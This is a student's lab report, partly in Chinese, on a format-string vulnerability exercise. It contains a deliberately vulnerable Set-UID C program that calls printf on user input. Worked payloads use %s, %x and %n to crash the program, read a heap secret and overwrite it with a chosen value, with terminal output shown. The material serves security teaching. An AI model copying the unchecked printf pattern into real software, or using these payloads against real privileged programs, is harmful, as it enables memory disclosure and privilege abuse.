Lab 2.4 Format String Vulnerability

Overview

The learning objective of this lab is for students to gain the first-hand experience on format-string vulnerability by putting what they have learned about the vulnerability from class into actions. The format-string vulnerability is caused by code like printf(user input), where the contents of variable of user input is provided by users. When this program is running with privileges (e.g., Set-UID program), this printf statement becomes dangerous, because it can lead to one of the following consequences: (1) crash the program, (2) read from an arbitrary memory place, and (3) modify the values of in an arbitrary memory place. The last consequence is very dangerous because it can allow users to modify internal variables of a privileged program, and thus change the behavior of the program.

In this lab, you will be given a program with a format-string vulnerability; your task is to develop a scheme to exploit the vulnerability. It uses Ubuntu VM created in Lab 2.1. Ubuntu 12.04 is recommended.

In the following program, you will be asked to provide an input, which will be saved in a buffer called user input. The program then prints out the buffer using printf. The program is a Set-UID program (the owner is root), i.e., it runs with the root privilege. Unfortunately, there is a format-string vulnerability in the way how the printf is called on the user inputs. We want to exploit this vulnerability and see how much damage we can achieve.

The program has two secret values stored in its memory, and you are interested in these secret values. However, the secret values are unknown to you, nor can you find them from reading the binary code (for the sake of simplicity, we hardcode the secrets using constants 0x44 and 0x55). Although you do not know the secret values, in practice, it is not so difficult to find out the memory address (the range or the exact value) of them (they are in consecutive addresses), because for many operating systems, the addresses are exactly the same anytime you run the program. In this lab, we just assume that you have already known the exact addresses. To achieve this, the program "intentionally" prints out the addresses for you. With such knowledge, your goal is to achieve the followings (not necessarily at the same time):

- Crash the program named "vul_prog.c".
- Print out the secret[1] value.
- Modify the secret[1] value.
- Modify the secret[1] value to a pre-determined value.

SP2021-LAB2.4-3190300677-姚熙源

Steps :

1. 按照要求把对应的代码写入 c 文件中并进行编译运行。

```
/* vul_prog.c */

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* Vulnerable place */
  printf(user_input);
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
  return 0;
}
}
```

2. 编译运行 vul_prog.c，出现了很多 Warning，先不管 warning.

```
peteryap@peteryap-vm:~$ gcc -o b vul_prog.c
vul_prog.c: In function ‘main’:
vul_prog.c:14:18: warning: incompatible implicit declaration of built-in functio
n ‘malloc’ [enabled by default]
vul_prog.c:19:2: warning: incompatible implicit declaration of built-in function
 ‘printf’ [enabled by default]
vul_prog.c:19:2: warning: format ‘%x’ expects argument of type ‘unsigned int’, b
ut argument 2 has type ‘int **’ [-Wformat]
vul_prog.c:20:2: warning: format ‘%x’ expects argument of type ‘unsigned int’, b
ut argument 2 has type ‘int *’ [-Wformat]
vul_prog.c:21:2: warning: format ‘%x’ expects argument of type ‘unsigned int’, b
ut argument 2 has type ‘int *’ [-Wformat]
vul_prog.c:22:2: warning: format ‘%x’ expects argument of type ‘unsigned int’, b
ut argument 2 has type ‘int *’ [-Wformat]
vul_prog.c:25:2: warning: incompatible implicit declaration of built-in function
 ‘scanf’ [enabled by default]
vul_prog.c:30:2: warning: format not a string literal and no format arguments [-
Wformat-security]
```

本程序的原理：通过 malloc 函数生成的 secret[0] 和 secret[1] 是被存放在堆中的，而用户需要输入的数字和 string，以及指向 secret 的指针被存放在

栈中，printf 函数在处理的时候需要先将参数从右到左压入堆栈，然后遍历格式化的字符串，每次碰到%的格式化输出就需要从栈中弹出一个元素来与之对应，如果用户输入的带%的格式化输出参数的个数大于世纪传入的参数，就会出现内存泄漏的问题

3. 问题 1：可以通过输入比较多的%s%s%s%s%s 来不断进行 pop 操作，使程序崩溃

```
peteryap@peteryap-vm:~$ ./b
The variable secret's address is 0xdc248660 (on stack)
The variable secret's value is 0x  9cd010 (on heap)
secret[0]'s address is 0x  9cd010 (on heap)
secret[1]'s address is 0x  9cd014 (on heap)
Please enter a decimal integer
1
Please enter a string
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
Segmentation fault (core dumped)
```

4. 问题 2：我们发现 int_input 在栈中的地址应该低于 user_input，因此可以先输入一个数字，通过%x 不断机械能栈的 pop 操作，观察这个数字使第几个参数，实验过程中我发现，输入的 15 被放在第几个参数

```
The variable secret's address is 0xffedd5f0 (on stack)
The variable secret's value is 0x56eb61a0 (on heap)
secret[0]'s address is 0x56eb61a0 (on heap)
secret[1]'s address is 0x56eb61a4 (on heap)
Please enter a decimal integer
15
Please enter a string
%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
ffedd5f8,f7fa3900,5663e288,ffedd61c,f7fa3900,ffedd60a,ffedd714,56eb61a0,f,252c7
825,78252c78,2c78252c,252c7825
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

因此可以把输入 secret[1]的地址作为 int_input 输入%x%x%x%x%x%x%x%x,-----,%s 来弹出前八个字符串，然后通过%s 来读取 int_input 指向的 secret[1]的值，得到的结果是 U

```
The variable secret's address is 0xff89b080 (on stack)
The variable secret's value is 0x57c501a0 (on heap)
secret[0]'s address is 0x57c501a0 (on heap)
secret[1]'s address is 0x57c501a4 (on heap)
Please enter a decimal integer
1472528804
Please enter a string
%x%x%x%x%x%x%x%x,-----,%s
ff89b088f7fc090056615288ff89b0acf7fc0900ff89b09aff89b1a457c501a0,-----,U
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

5. 问题 3：用%n 可以将已经输入的字符个数复制给传入的参数，∴输入%x%x%x%x%x%x%x%x%n 把输入的字符个数写道对应的 secret[1]的地址中，修改了内容

```
The variable secret's address is 0xff975dd0 (on stack)
The variable secret's value is 0x56a601a0 (on heap)
secret[0]'s address is 0x56a601a0 (on heap)
secret[1]'s address is 0x56a601a4 (on heap)
Please enter a decimal integer
1453719972
Please enter a string
%x%x%x%x%x%x%x%x%n
ff975dd8f7f0890056600288ff975dfcf7f08900ff975deaff975ef456a601a0
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x40
```

6. 问题 4：计算前面的 8 个%x 一共输出了 0x40 个字符的内容，也就是一个%x 输出 8 个字符，因此想要更改 secret[1]的值，只需要控制这个字符串输入的内容即可执行，比如在原有的基础上额外输入 12345678 就会把遍历改为 0x48(72)

```
The variable secret's address is 0xffbb33b0 (on stack)
The variable secret's value is 0x57d4f1a0 (on heap)
secret[0]'s address is 0x57d4f1a0 (on heap)
secret[1]'s address is 0x57d4f1a4 (on heap)
Please enter a decimal integer
1473573284
Please enter a string
%x%x%x%x%x%x%x%x12345678%n
ffbb33b8f7f539005662b288ffbb33dcf7f53900ffbb33caffbb34d457d4f1a012345678
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x48
```

7. Lab2.4 实验完成。